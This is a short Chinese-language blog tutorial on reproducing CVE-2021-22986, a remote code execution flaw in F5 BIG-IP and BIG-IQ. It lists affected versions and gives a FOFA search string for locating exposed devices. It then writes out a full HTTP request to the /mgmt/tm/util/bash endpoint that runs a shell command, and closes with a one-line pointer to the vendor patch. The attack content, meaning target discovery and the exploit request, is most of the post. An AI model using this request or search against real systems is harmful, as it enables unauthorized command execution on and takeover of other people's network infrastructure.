您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
F5 BIG-IP 鏈路控制器用于最大限度提升鏈路性能與可用性的下一代廣域網鏈路流量管理。
F5 BIG-IP 存在代碼執行漏洞,該漏洞允許定義身份驗證的攻擊者通過 BIG-IP 管理界面和自身IP地址對 iControl REST 接口進行網絡訪問,以執行任意系統命令,控制目標機器。
F5 BIG-IP 16.0.0-16.0.1
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0
fofa搜索關鍵詞:
body="F5 Networks, Inc"
打開首頁如下:
構造請求數據包,執行任意命令:
POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.1.123:8443 Connection: close Content-Length: 39 Cache-Control: max-age=0 Authorization: Basic YWRtaW46QVNhc1M= X-F5-Auth-Token: Upgrade-Insecure-Requests: 1 Content-Type: application/json {"command":"run","utilCmdArgs":"-c id"}
F5官方已發布相關安全更新,廣大用戶需及時更新到最新版本。
下載鏈接:
https://support.f5.com/csp/article/K02566623
關于怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。